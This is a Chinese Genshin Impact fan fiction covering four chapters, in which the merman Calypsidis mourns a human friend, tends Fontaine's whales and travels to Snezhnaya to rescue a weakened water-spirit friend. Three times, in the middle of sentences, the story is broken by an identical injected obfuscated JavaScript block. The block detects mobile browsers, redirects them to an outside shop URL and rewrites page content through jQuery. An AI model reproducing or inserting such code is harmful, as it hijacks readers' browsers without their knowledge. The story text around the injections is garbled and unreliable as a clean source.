美露莘们对珍珠宝石钱币都没有多大的兴趣,静原也不想她们被人觊觎,因此带出来的都是些不起眼的东西。古代钱币集花色不同的一套给孩子们玩,血红珊瑚当做家具摆设,不同颜色的珍珠和小海螺贝壳做成手链或者项链,给希格雯的礼物是药用珊瑚和乌贼骨,以及其他用得上的深海药材。 希格雯很喜欢人类的医术,也一直在在寻找好的药材制药。 静原对于可爱侄女们的爱好一般持赞同支持态度,只要不危险,怎样都可以。所以他看着希格雯将自己变成人类面容的模样也不做阻拦,因为他知道,治疗人类好朋友的疾病对希格雯来说非常重要。 “人类的友谊……对于龙裔来说,可能有着致命的吸引力吧。” 30.月色无边 静原此后百年一直频繁往返于沉玉谷与枫丹海之间,数百年如一日的巡航,每次回来都会带一些甘甜的水,美味的点心,与好看的花。 他本不太在意陆地上发生的事情,只知道美露莘们在人类社会生活得很快乐;芙宁娜女士从未缺席任何一场欧庇克莱歌剧院的审判;最高审判官那维莱特的公正无私无人置喙;希格雯在水下监狱梅洛彼得堡当护士长,为人类医治…… 伊黎耶林岛的湖中垂柳依旧是梦幻般的蓝。水平面年年都在上涨,淹没群岛的渔镇,枫丹廷的外城,昔日的花园与农田成为海洋生物的乐园,小小的坟堆也被绿意侵占,最后一点痕迹也融入自然。 就连曾经的高崖都成为海中的一部分。 远方再也没有传来故人的消息。 静原偶尔会发愣,不知今夕是何年。 时间的流逝对他来说并无意义,但夜里风平浪静的时候,他会选择浮出海面去欣赏高天明月的皎洁。直到明月渐暗,天际露出鱼肚白。 又一次从日落枯坐到日出,在远处静观许久的格蕾丝蒂找到了希格雯,请她看看静原到底是怎么了。 希格雯很关系他的心理健康:“卡吕普迪斯大人,您是在难过吗?” “没事的。我就是……”静原眼前浮现沉玉谷那个小姑娘在生命陌路时期的容颜*,“就是有些难以释怀。” “多给我一些时间吧……月亮很美,我想好好看看。” 静原很喜欢小姑娘,或者说,他喜欢一切温暖美好如花般绚丽的生命。 他接受人类的死亡,无论是什么原因,心脏的痛都不会多一分。只是在死亡尘埃落定后,在未来某一个没有对方生活的世界的清晨,他想起了对方,想要分享他的心情,但是那份原本飘呼呼如棉花云般的情绪空荡荡的无人接住。 那才是最难过的,后知后觉,却没有办法,只剩一肚子无从宣泄的遗憾。 静原看过太多人类的死亡了,安详的、狰狞的、死寂的、平和的、怨愤的……众多鲜明的情绪汇聚,融入水,奔涌流入海洋。 幸好他的记忆力不算好,昏昏沉沉迷迷糊糊记不太清楚,不然以他内在脆弱的人类灵魂,可能就在日复一日的思念中被折磨崩溃了吧。 “这……是为什么呢?”那维莱特对于眷属们的关注从未削减,当他知道静原去沉玉谷参加完一个人类的葬礼回来后就经常枯坐发呆后,不免沉思。 芙宁娜参加完茶会回来,听到那维莱特在念叨些什么,便凑过去问。 后者自然坦诚,并试图询问神明:“长生种都会因为情感而消磨理智吗?” 芙宁娜:“……” 芙宁娜女士咳嗽两声:“从人类心理学的角度来看,这应当是一种刻板印象的显现。卡吕普迪斯从前没事的时候不总是待在海里睡觉吗,如今彻夜不眠看月亮,连他自己都没有发觉这种行为有什么不对……” “如果朋友的离去让他感觉日月无光,那么我想,你得再次让他感受到世界的温度。” 话说的很简单,但是静原不买账。 他对表露关怀的那维莱特露出笑容:“我真的没事,缓缓就好了。” “我从水中感受到了你的情绪。”那维莱特垂眸,“那应当是一种【哀伤】。” “你因为生命的逝去而哀伤,如果让你与更多生命连接,是否能消除这种难过一二呢?”平心而论那维莱特真的很关心他,也希望他健康。 静原只是柔和的笑着,摇摇头:“时间会治愈一切。没关系的那维莱特,我还没有脆弱到这种程度。我会想办法解决这个问题的……我保证。” 怎么可能只是因为一个人类的死亡就让他这样难过呢? 静原伤心的是,离开他的朋友又多了一个。 不过唯一的欣慰是那孩子寿终正寝,无病无灾的迎接既定的死亡的。 枫丹的夏天很美。 且不说海洋碧蓝宁静,单看陆地上青青草甸,姹紫嫣红的花与树就足够让人感受到自然的生机与活力。林间的鸟雀与小兽悠闲自在,最大的声响不过是松塔坠地。蔷薇与百合盛开的山坡蝴蝶环绕,薰衣草花田芬芳馥郁。如果是夜晚,那么在皎洁月光的照耀下,你能看见萤火虫提着小灯在草叶间来回飞舞。 静谧而美好。 枫丹廷城外的山野因为气候原因,四季流转并不鲜明。也是众多鲜花盛开期最漫长的地区,当初枫丹廷依此建立,想来也有这个气候原因在。 静原无法长时间待在岸上,于是洛梅用留影机拍摄了许多相片带给他,请他欣赏枫丹岸上的美丽景象。 静原失笑:“怎么想到送这样的礼物呢?” 小美露莘摸着下巴:“希格雯说,看自然的风景有助于您恢复。” “这样啊……”静原低头笑了笑,“谢谢你们,洛梅拍的很好看哦。” “真的吗?我想投稿给报社……不知道能不能被选上。” “我想可以一试。”他摸摸小侄女柔软的额发,“重在参与,和同好多交流,说不定有意外收获哦。” 他一向鼓励美露莘们大胆尝试爱好,特别危险的除外。 洛梅用力点点头,抱着粗制版留影机蹦蹦跳跳离开。静原低头轻抚照片上枫丹的旖旎风光,叹息消散在风中。 他以前也没有这样多愁善感啊。 躺在海底粉红贝壳床里的时候,他端详着那颗陪伴他百年的净水之心,自言自语:“我是不是该找人唠嗑?” 那维莱特对八卦不感兴趣,他也不可能在小侄女们面前讲些深奥的东西,有些事情不便让外人知晓——静原憋了一肚子的话,感觉自己要憋出病来了。 那些难过的情绪,那些哀伤的离别,他不想告诉那维莱特。因为在静原心里,那维莱特还是个年纪小的,需要被照顾的龙呢。比他更晚接触人类,磕磕跘跘理解着情感,难过的事,不让那维莱特知道最好。 那维莱特现在还理解不了寿命不同带来的痛苦,静原也无意让他提前感受。 那维莱特是他如今最亲近信赖的家人,但有些事,有些情感,是不适合让家人分担的。 想来想去,只有当年湖中垂柳的老朋友才能理解他说不出口的感受吧。 想到这里,他鼻子又有些酸。 人鱼闭上眼睛,揣着那颗浸泡在海水中逐渐变得透明的净水之心慢慢的陷入深眠。那是自秋秋死后他难得的一场安睡,连海也怜惜他,海浪轻轻摇晃着,海草柔软的摆动着,就像母亲摇晃着臂弯,轻哄她的孩子入梦一般。 不怪静原认海做母亲,因为他确实感受到了海对他的爱意。原本随风飘零的心也逐渐安稳下来,他在温暖的巢穴中放松了身心,一些复杂而扭曲的东西逐渐脱离了他的身体。 静原为此感到轻松。 睡吧,睡吧,我的孩子。 睡吧,睡吧,今夜无风也无浪。 闭上眼睛,聆听我的心跳。 你听到大地深处的共振了吗? 我一直在这里,别害怕,我一直守护着你。 静原醒过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519849|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后伸了个懒腰,后颈有点酸痛,估计昨天睡姿太狂放扯着筋骨了。 迷迷糊糊的把净水之心放回原位,随手捞了把汐藻塞嘴里当早饭,开始一天的海洋巡游。 枫丹廷区以南,厄里那斯与秋分山中间的海域日光最盛,水体都带着阳光的暖,浅海区的生物最丰富活跃,他只需要顺手清理人类船只留下的垃圾,翘几颗随海浪而来的藤壶。 莫尔泰区高塔耸立,水里有许多初露之源,遗迹众多。静原来这主要是为了捞初露之源吃,把人类的探测工具打捞起来放到岸边。 北上往伊黎耶林区游的时候,总会遇见触礁的倒霉船只,这个时候就需要救援了。拖着船靠岸,等人来维修。怕耽误事耽误货的,可以等下一班船。静原往往就在这段陪人等待的时间里把初露之源吃完,撑的一肚子水饱。 倒霉蛋们只会惊讶:“卡吕普迪斯大人以这种元素露滴为食吗?” 静原木着脸:“海里也没法生火做饭啊。” 去伊黎耶林区的路上,偶尔能看见去审案子的那维莱特。最高审判官总是很忙,欧庇克莱歌剧院除了表演还会开庭打官司,他看到的那维莱特一般都是为了审判案件奔波,在休息日观看芙宁娜女士精彩的表演次数很少。静原路过的时候,执勤的美露莘们会送他面包黄油或者薯条——人鱼叔叔脆皮又不爱吃饭,美露莘们看见他就会顺手给他塞点吃的,多少能吃进去一些,如今已经形成习惯。 别说,罪恶的油炸食品静原向来很喜欢——前些年没胃口厌食另谈。 伊黎耶林区龙蜥们的生活早已远离血腥的厮杀,守护着群岛水脉的纯净,执着于进化成那维莱特喜欢的模样——静原对此只能鼓励。 枫丹廷后就是黎翡区,枫丹动能科学研究院在群岛中心的天空,水色立方体也算是枫丹一大特色,但静原讨厌。因为他每次来巡查都能发现下面水体里的垃圾,以及外泄的芒荒能量——看到就恨不得把研究院的天之骄子们拖出来喂龙蜥。因为巨难清理,水的味道也会怪怪的,像空气中的汽油味。 这边的北海栖息着鲸群,摄影爱好者和生物研究员在山谷间驻扎,对静原到来的态度两极分化。前者自然欢迎,后者避之不及,如同老鼠见了猫。 无他,曾经有生物研究员试图捕捉这些拥有龙族血脉的鲸群,被静原逮了个正着,作为监护人和保育员一顿乱抽,最后闹上沫芒宫,牵扯到的几个研究员被抬着进了梅洛彼得堡。 是不是忘了说?鲸群在枫丹是板上钉钉的保护生物,任何捕捉圈养都是违法的。为此还有个案子——关于卡吕普迪斯明目张胆对鲸群的保育,有人提出质疑:鲸群是否被卡吕普迪斯圈养? 开庭前芙宁娜女士还特意找静原问了问,鲸群是不是他养着的。静原说他只是代为照顾,具体代谁照顾,众说纷纭,他是不肯正面回答的。 于是这个案子自然以卡吕普迪斯伟岸无私照育海洋生物为结尾。枫丹人对此接受良好,毕竟在他们祖祖辈辈的印象中,的确是卡吕普迪斯带着鲸群往返迁徙,每年繁育季的鲸歌成为枫丹人共同的回忆。 芙宁娜悄悄问那维莱特:卡吕普迪斯到底帮你养了多少族群? 据她所知的就有美露莘与龙蜥。 那维莱特奇怪的看了她一眼:这不是帮我养的。 虽然龙王眷属照拂龙裔是应该的,但枫丹的鲸群并非他这一系,而是亲王那一脉。早在那维莱特诞生前,鲸群就在海中畅游了。 卡吕普迪斯是在帮雷穆利亚时代的龙裔亲王照顾这群鲸鱼。 31.北地来客 一百多年的日子,过得倒也快。 又是一年鲸群繁殖季(别名相亲大会),静原照常是要隔三差五去看看,镇镇场子的——年轻小伙为了争夺配偶,打架那叫一个波澜壮阔哦。 如果打上头,掀起的海浪能轻易掀翻过往游船。虽然鲸群在静原有意识的培养下会救助遭遇海难的人类,但这种额外的幺蛾子还是越少越好。 静原照看的鲸群从雷穆利亚时代传承至今,已经演化出不同的分支。这群大家伙知道近亲繁殖不好,也在有意无意的寻找他族伴侣,因此,偶尔能看见其他国家海域迁徙至此度过繁殖季的鲸类。 其中以至冬的最多(毕竟繁殖季南下就是温暖海域,约会交流什么的多合适啊)。 他向至冬鲸群打听过故友的消息,可惜百年来一无所获。也许是纯水精灵离开家乡流浪下意识的避世不出,遮掩行踪了呢…… 他总是这样安慰自己。 静原坐在海底高崖,看着鲸群在这片海域聚集相亲,颇有种老年人静看夕阳红的诡异宁静。 哎呀,他也是个老头子了。 话说提瓦特世界的人鱼到底能活多久呢? 在这方面算是个白痴的静原又开始忍不住瞎想。 直到一头明显是至冬种类的鲸鱼向他靠近。 那还是个小姑娘呢,跟随祖母,母亲和姨妈们来到了枫丹相看对象。她年纪小,因而对相亲大会不感兴趣,倒是盯上了在海崖上静坐的人鱼。 那是深海的精灵,枫丹鲸群的庇护者。 “原来人鱼真的和人类很相似啊。”小姑娘声音甜甜的,“我叫米兰娜,你叫什么呀?” 静原:“我?” 静原:“叫我卡吕普迪斯就好。你怎么不和妈妈姨妈们一起?” 米兰娜浮出海面换了一口气又下潜,阳光下的身体露出珍珠白贝壳一般的光泽,真是个漂亮小姑娘:“她们都忙着给我生妹妹呢……我叫你卡卡好吗?枫丹人鱼的名字太拗口啦。” 真的很拗口吗……他念叨久了还觉得挺顺溜呢:“随你。” “卡卡,你带我去其他地方玩玩好不好呀?在这片待了那么多天,再美的风光都要看腻啦。” “你得先取得妈妈和姨妈们的同意。如果有祖母,也需要祖母的准许。”静原并不排斥带小孩子玩,反正手下一堆需要照拂的族群——顺手的事。 米兰娜显然是在这片海域拘束久了,颠颠的凑到母系氏族的长辈们身边,静原能感受到那许多投来的目光注视,他是无所谓,倒是枫丹本地的鲸群小辈好奇的问怎么了怎么了。 静原:“出去玩。” 自家小孩们都是一堆精力旺盛的,没少赖着静原撒娇,听到静原要带至冬的小妹妹出去玩,也跟着凑过来。 带我一个带我一个。 求求你啦卡吕普迪斯大人。 静原看着相亲大会没出什么幺蛾子,点头应下:“就是到处逛逛,不要欺负妹妹,或者又撺掇出什么鬼点子。” 以前有小混蛋拉着兄弟们在海洋探险,结果被困在了幼时玩耍的石林间——也不想想他们体型一日比一日庞大。急得嗷嗷叫,最后还是路过的老海龟通知静原来收崽的…… 关于那片石林,静原只得庆幸天理已然沉睡,不然封存沉睡着的雷穆利亚的旧日之海大门都要被一群小王八蛋误打误撞和弄开了——静原也是怎么都想不到。 该说不愧是亲王曾统御的族群后代吗? 米兰娜不知道这些个弯弯绕绕,只觉得枫丹的男孩子们和家里的兄弟们一样幼稚。 米兰娜看腻了苍晶区和白露区的海下风景,静原就引着她去莫尔泰区逛,趁着孩子体型还小,很是钻了几处地下洞穴。给家里几个胖崽子急得上下浮动喷水换气,只恨自己平时吃的太多长的太快现在钻不进去了。 静原:“乖乖的,别闹。” “枫丹和家那边风景果然不一样呢。”米兰娜钻出来后感叹,“至冬海洋可没有这样繁复美丽,居然还有熔岩洞窟,太神奇了。” 海底逛了逛,然后浮出海面欣赏枫丹风光。高塔,白墙,渔镇,密林……正是好时节,风都是暖洋洋的。 夕阳西下,撒得碎金万千。天边云彩先是橘红橘黄,然后是水蜜桃般的粉与玫瑰色的红,直到天上星星眨啊眨,星空璀璨,似银屑流淌。 送米兰娜回到族群身边时,小姑娘邀请他之后去至冬游玩。 “卡卡,一定要来至冬玩呀。”小姑娘亲昵的蹭蹭他的手,“至冬有很美的极光,还有冰川下好吃的鱼虾。我的角鲸表姐在那生活,到时候你来了,我们一起破冰玩。” 静原只是笑着点头:“有机会的话,我会去至冬的。” “那就说好咯,等你来至冬一定要来找我玩哦。我也会做向导,好好招待你的。” 他没想到决定出发去至冬的那一天来得这样快。 鲸群与龙蜥的繁殖季陆陆续续结束,远游而来的客人们早就回到了家乡,山林与海洋重归宁静,唯有过往船只依旧。 按理来说,静原不会轻易离开枫丹。就算是离开,也是去领国璃月或者须弥这样近的地方。毕竟他常活动的海域距离拜达港和沉玉谷实在是近,串个门当然轻而易举。 但是去至冬……说真的,他还以为要等到几百年后尘埃落定才能去至冬接老朋友回来。毕竟他的职责是守护海洋,警惕深处的原始胎海。 但是…… 没有什么可但是的。 静原放在心脏处的净水之心在一个下午,悄无声息的融散了。如果不是他日日带在身边,如果他只是当做普通礼物,怕是不会感受到这样细微的消散。 本就是纯水精灵的凝聚物,化作水融入海,静原费了老大劲才勉强重新凝聚成一团清水,还不等他松口气,那团水很快又散开了。 静原:!!! 静原大惊,他没什么有关纯水精灵的储存知识,遇见这种情况当然是往坏处想,以为他那老朋友孤家寡人的在至冬遭遇不测,孤零零的死在了异国他乡。急得人鱼打挺,从贝壳床软垫上蹦起来,蹭的一下蹿出去老远,火急火燎的找那维莱特报告去了。 那维莱特才从欧庇克莱歌剧院审完案子出来,听到小美露莘的传报,也是整装大步朝海边走去。 “怎么了,卡吕普迪斯?遇到难事了吗?” 最高审判官就见自家孩子捧着一团水,眼巴巴的仰头看着自己:“这是她离开枫丹前送我的礼物,帮我抵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534347|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御了一部分毒素,但是今天突然就融解了,没有一点征兆,我尝试过重新凝聚,但很快就会散掉。最后……只能维系成这样。” 怎么办啊那维莱特,她是不是有危险? 那维莱特知道他未曾言明的意思,也知道在新枫丹前,早在雷穆利亚时代,卡吕普迪斯就有一位属于纯水的朋友。 他接过那团水,最为水元素的至高之王,他当然能感受到这团水承载的情感。信任,关怀,以及哀伤……他有点疑惑,不明白那种哀伤是来自卡吕普迪斯,还是那位朋友。但这不妨碍他给出结论:“你的那位朋友以自身的力量凝聚出了这颗净水之心,如今它突然消融,就证明最初维系它的力量突兀的消散,被抽离一般。哪怕你用水元素维系,也无法挽回。” “想必是自身出了问题,或是遭遇不测。以致收回了所有散逸的力量。” 静原听了心里拔凉拔凉,原本还只是心里火烧火燎,现在竟觉得牙根发炎酸软——上火了。 “我想去至冬看看她如何了,可以吗?那维莱特?”静原申请长假,“短则半月,长则一月。因为我并不知道她如今的具体住址。” 那维莱特并没有马上给出结论,而是思考片刻,静原也按耐住性子等待回复。 那维莱特在回想至冬如今的国情,娓娓道来:“自百年前漆黑兽潮之后,至冬便与外界有了显著隔阂,我曾问过芙宁娜女士,为何冰神不再与外界沟通,她并没有给出正面回复。直到前七十年愚人众的到来,我才知晓至冬的变化。” “冰神手下的军队名为愚人众,设立执行官,由神授予权柄,在至冬境内人类社会的权利,不低于枫丹境内最高审判官。”那维莱特向眷属阐明他的看法,“你如今是枫丹海洋的大守护者,就算是以私人身份出行,也避不可免的会遭遇各式各样的窥探与较量,我忧心你遭人欺辱,无法及时回护,此即一难。” “你的那位朋友,她去至冬是在当年最乱的时候,人类律法崩盘,长生种与元素生命更是无人管辖。如今不同,秩序已立,各国长生种的入境与出境都有章程。枫丹与璃月,须弥交好,你也只在港口处多留,因而无事。至冬不一样,要更特殊些。如果你找不到她,是久留至冬寻觅还是尽早回归?如果你找到了她,是将其带回还是留其在至冬修养?我忧心你左右为难,踟蹰不定,此即二难。” 老天…… 静原这种心软的家伙差点给他这番真心实意说得眼睛红掉眼泪。 那维莱特又轻声道:“我和你说这些,本意并不是让你放弃。若你下定决心,便去吧。我虽然在人类社会生活,但还是有空手平定海面波澜的,只是不如你方方面面周全。”这就是谦虚了。 “我未曾去往至冬,消息再多,也没有亲眼见过。卡吕普迪斯……此行一路平安。” 静原知道他这是放行了,酸着眼眶,认认真真行了个礼,然后朝着至冬的方向游去。 不要低估他的速度,枫丹海域辽阔,他幼时只能三天两头巡游完一遭,如今早就能一天巡游一遍。尾巴一个大摆就能冲出去好远,至冬虽然离枫丹遥远,但彻夜不休赶路,最多三四天,他就能抵达至冬最南部港口。 福勒依斯,老朋友,你到底是怎么了? 32.笨蛋与大笨蛋 福勒依斯,意为水畔生长的花。 在伊黎耶林岛,最富特色的水畔之花应当是湖光铃兰。因而当年纯水精灵给自己取名时,静原一下子就猜到了其中意义。 “不愧是你,我们心有灵犀。” “……是我比较聪明。” 福勒依斯是最初的那一批纯水精灵,却又远离族群,独身居住于伊黎耶林岛中心,然后北上去往至冬。静原只是远远的看见有同族伴她同行北上,并不确定她在至冬的栖息地是否有同族陪伴。 老朋友留下的净水之心中蕴含着她的元素力,静原依靠这微弱的感知在偌大的雪国水域寻觅,大冷天的,冻得牙齿直哆嗦。 早知道多吃点肉了。 颇有些气虚体寒的挑食佬静原心里后悔,身处至冬飘着浮冰的港口,入目皆是灰黑白。 钢铁建筑呼出浓厚的黑烟,雪地白茫茫一片,港口只有零星几条大船,码头工人穿着相对来说单薄许多,因为热的脑门直冒汗。 静原呼出白雾,捧着那颗净水之心绕开港口继续北上,寻找水脉通达的入口。 纯水精灵一般都会选择人迹罕至的,自然湖泊河流深潭作为栖息地,周围有山岩或是密林这类天然屏障更好。因而静原在至冬虽然无头苍蝇一般乱逛,却也乱中有序,很是找到了几处合适的地方。 可惜一一排查过去,并没有老朋友生活的痕迹,反倒是认识了几个至冬本土的精怪,或者说是长生种。 “你们认识一个叫福勒依斯的纯水精灵吗?” 他挨个问过去,大多数都是摇摇头,并不知情。 只有一个来朋友家串门的棕熊在角落低声反问:“你大老远来到至冬,是找她寻仇吗?” “我是她的朋友,感知到她遭遇危险,所以从枫丹来到这里。”静原能感受对方的善意,没有多说些无用的废话,而是坦诚相告,“我希望能找到她,知道她如何了。” “如果你知道她的消息,请告诉我好吗?我愿意尽我所能报答你,感谢你。” 棕熊看着这条泡在林中河流里的南方小鱼,冻得脸色惨白,瘦骨伶仃的,好像一阵寒风就能将他吹跑。当然这只是外表看上去可怜,如果不是亲眼见到他一爪子将袭击他的林中猛兽摁进水中溺毙,他也会理所当然的认为这小鱼手无缚鸡之力吧。 “报答就不用了,当我还她个人情。”棕熊四肢着地,扭头看向水中的人鱼,“南方的小鱼,跟我来吧。” 如果是这样的朋友,一定可以拉一把福勒依斯吧。 静原没想到老朋友如今的形体已经到了快要维持不住的地步。 他被棕熊引领着到了一处温暖的林中山泉边,一下子就透过蒸腾水雾看见了里面那团小小的,蓝色的纯水精灵。 “福勒依斯?”静原游过去,身体逐渐恢复较高的温度,这让他感觉好受了些,“你怎么了?” “……我还以为是幻觉呢。”福勒依斯在水中翻了个身,“很高兴见到你,卡吕普迪斯,我们已经有……几百年没见了吧?” “百来年而已。”静原将那颗融散的净水之心捧出来,放到纯水精灵身体里,连带自己的那份力量,“怎么把自己搞成这个样子?谁欺负你了吗?” 他来打,打不过就摇那维莱特。 福勒依斯感受着身体的凝聚,她摇摇头:“没有人欺负我,是我自己弄成这样的。” “总得有个原因吧。”静原叹气,“我还以为你被人打成这样快死了呢。” 棕熊突兀的嗤笑一声。 静原不明所以,倒是福勒依斯悠悠开口:“阿列克谢,谢谢你带来了卡吕普迪斯。” 棕熊阿列克谢说:“你以前帮过我,这不算什么。不过,真的不告诉他吗?” “你抚育了人类孩子的事。” 静原看向老朋友,有个突兀的猜测冒出头来,他瞳孔震颤:“你不会,是跟人类生孩子了吧?” 福勒依斯:“……” 有点力气的福勒依斯跳起来给了他一巴掌:“嘴上留个把门的!你这笨蛋!纯水精灵和人类生不了孩子!” 静原捂着被拍红的肩膀往后退了个半身的距离:“那不然怎么养个孩子能养得力量流失形体消散?” “我来说吧。”阿列克谢知道福勒依斯不愿意就这样告诉朋友,他不介意来当这个恶熊,“福勒依斯来到这里生活不到两百年,因为救助了不少林中为风雪迷途失温的人类,所以这里的人类尊敬她,也供奉她。” 听上去倒还正常。 阿列克谢继续道:“在城市里,教堂会收养孤儿。在森林里,开智的野兽也会叼走无人看管的孩子。如今人类有了更好的选择,就是放在水畔,等待福勒依斯接走。她已经接收了许多这样的孩子,因为人类生的孩子太多了,又养不活,于是选择抛弃,将希望寄托于非人生物身上,来让自己良心好受一些。” 静原看向沉默的福勒依斯,一切尽在不言中。 福勒依斯辩解:“我知道,但是总不能视而不见吧?” 在寒冷的至冬,哪怕成人也无法在野外平安度过一个什么物资都没有的夜晚,何况婴孩呢? 流水为纯水精灵带来了孩童微弱的哀啼,她不忍心就这样看着一个生命消散,于是收留了对方。 养孩子是很费劲的。对人类来说,费钱费时费力费精神,对纯水精灵来说,她没有供婴孩生长的食物,只能将自己的力量用来哺育他们。 还不是一个,两百多年陆陆续续的养大了不少。 照顾婴儿,待他们长大了些,不那么脆弱、费心费神了些,就托林中野兽将他们带回各自的家中。如果这样都不行的话,只能交给在密林边陲驻扎的愚人众了。 静原听到愚人众的名号后,还有点稀奇,没想到还能在这听到他们。 “愚人众是至冬女皇的部下,她国家的孩子交给她的部下,总不至于年纪小小就冻死在北风中。”福勒依斯低声说道。 静原还是不理解:“那怎么就弄得自己形体溃散了呢?” “因为她抚育的第一个孩子长大回来后,污染了森林的水源。”说这话的阿列克谢目光复杂:“福勒依斯,他早就不是当初那个什么都不懂的弱小孩童了。” 事情的起因经过变得清晰起来。 福勒依斯在森林收养抚育的最初那个孩子,长大后离开了森林,去往城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547150|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇发展。然后带着大批的工人与工具回到森林,肆意开采破坏生态。因为暴露在空气中的某种物质污染了水源,作为纯水精灵的福勒依斯无法在自然的流水中修复力量,又因为水族精灵的天性,拿自己亏空的力量去净化被污染的水源。 污染这种东西,哪怕作恶的人死去,也不会随之消散。花费大量的人力物力去解决也不一定能讨好。至冬国土面积宽广,这片大森林里水脉四通八达,污染面积难以估量。外来者的开采被叫停,可是污染不会说遏制就遏制。 福勒依斯正是在这漫长的净化过程中散失了自己绝大多数力量,曾经帮助过的棕熊阿列克谢不忍看她就此消亡,将她带到这处隐蔽的温泉修养。正因为地址隐蔽,与外界水脉不相通,所以还是纯净的水。 而正是多亏了福勒依斯兢兢业业的净化,森林的水脉污染得到了极大的遏制与修复,所以静原一路游来没有发觉异样。 其中发展让静原头痛不已,罪魁祸首早已倒在了岁月里,烂事一摊懒得管。他捞起老朋友脆弱的那一团躯体,干脆提议:“跟我回家吧,源水之地对你的恢复不是异国他乡可以比的。” “哪里回得去……你忘了吗?是那位大人下的令。”福勒依斯何尝不想念故乡,但是水神下令她们离开,如今怎么回得去。 “那也不能在至冬久留。我来的路上看过了,工业化污染太严重,城镇的天空都是灰暗的。”也许未来百年会好转,但就现在来看,不适合水族居住。 水族天性让他们无法对污染坐视不理。 譬如静原这种,更是深恶痛绝。 “再说了,就算那位依旧斩钉截铁。养好身体好我还是会给你找个好地方,山清水秀民风淳朴,还离家近。” “那森林……”福勒依斯心动,她知道卡吕普迪斯不说假话。 静原看了看棕熊,对方毛茸茸的脸上一派平静:“人类的错误,将由他们自己承担。福勒依斯做的已经足够对了。这不是她的责任,也不是需要她弥补的过错。” 静原:“听到了吧?大家都这么认为。” 福勒依斯哪里不懂这个道理,就是一时间转不过弯来。至冬的水族稀少,她平日也没个说话人,阿列克谢闷闷的,孩子们离开后基本不会再回来……本质话唠的福勒依斯憋了一肚子的话,快给自己憋出病了。 于是静原顺利接走了福勒依斯。走之前,福勒依斯和至冬的朋友们告别,静原则是去查看了水源的污染源,发现那是一种来自地下深处的奇异矿石,被开采后裸露在空气中,浸泡在溪流河水里,矿石里的物质流出来,渗透出来,污染自然而然产生。 他表情变了变,这种污染,至冬高层不可能不知道,所以派愚人众来查封里这处矿洞,但是为什么,他能找到零星的几块碎石? 他不愿多想,抬手召唤水流结印,牢牢封住了矿洞,以及下方与水脉相连的穴口。拦住普通人,以及普通神之眼持有者是完全没问题的。想要破开他的封印,得是神明眷属那个级别。而在至冬,愚人众执行官来处理污染,想必不会让他失望。 毕竟是女皇眼皮子底下的至冬呢。 静原摆了摆尾巴,转头离去。 33.回家 静原把福勒依斯接出北地森林后,心情大好,提议:“要不我们玩一圈再回去?” “你不用镇守枫丹海吗?”福勒依斯诧异,以前还在伊黎耶林岛生活的时候,卡吕普迪斯这家伙几乎不在外留宿的。 静原背着小小一团的朋友说:“我走之前和王请过假,这才没到一半时间呢,又不是雨季,枫丹海不会出乱子。” 福勒依斯想了想,觉得依照这人鱼的性子,也不会不管不顾老家的海,于是顺从的问:“你想去哪玩?我来至冬后没怎么离开森林,不是很了解。” “去更北的地方,见一个小孩,看一次极光怎么样?”静原对至冬还是很好奇的,“听人说,来至冬不看极光,就像去枫丹不见美露莘一样。” 福勒依斯不太懂,她还没见过美露莘。于是静原又跟她细细讲述一番侄女们的诞生,以及融入枫丹的过程,听得福勒依斯惊叹连连——这俩八卦搭子时隔多年再度聚首,彼此都有一肚子的话要说。 静原顺带和她打听了一点愚人众,也不求听到什么密辛,大致知晓愚人众目前的态度就行。只要还没侵犯枫丹利益,他都无所谓。 他不是很操心枫丹海和枫丹水族以外的人类或者事,被迫从眼睛看到的例外。要是什么都想掺和一脚,什么都想改变一番的话,那得多操心多累啊。 静原之前听到雷穆利亚时代的故事,听到水仙十字院那些孩子们的故事都心累得慌,实在是懒得主动揽活了。 福勒依斯兴致勃勃,还提了一嘴那些开采出来的矿石最后都被愚人众抄底包圆了,静原也大致猜到为什么名义上封存的矿洞还会有裸露在外的零星矿石了。 愚人众接手了矿洞自行开采了。不过不清楚为什么悄悄行动。 想到自己离开前留下的封印,大概会给愚人众添一些不大不小的麻烦,静原心情有点复杂。 因为他不喜欢有人给自己找麻烦,也不喜欢给人添麻烦——讨厌的家伙除外。他并不讨厌愚人众,毕竟反派也是有魅力的。 算了,想这么多也没意思,找到米兰娜那小丫头,陪她说说话全之前的允诺,就去看极光吧。 静原这样想着,游快了些。 他不知道正是因为自己留下的封印,让底层欺上瞒下偷盗矿石倒卖的愚人众知晓此事暴露,明智的选择在事情闹大前报告给了上司,北地森林水源污染一事也终于被摆到了高官案牍上。 终于有人发现了这种矿石真正的价值。 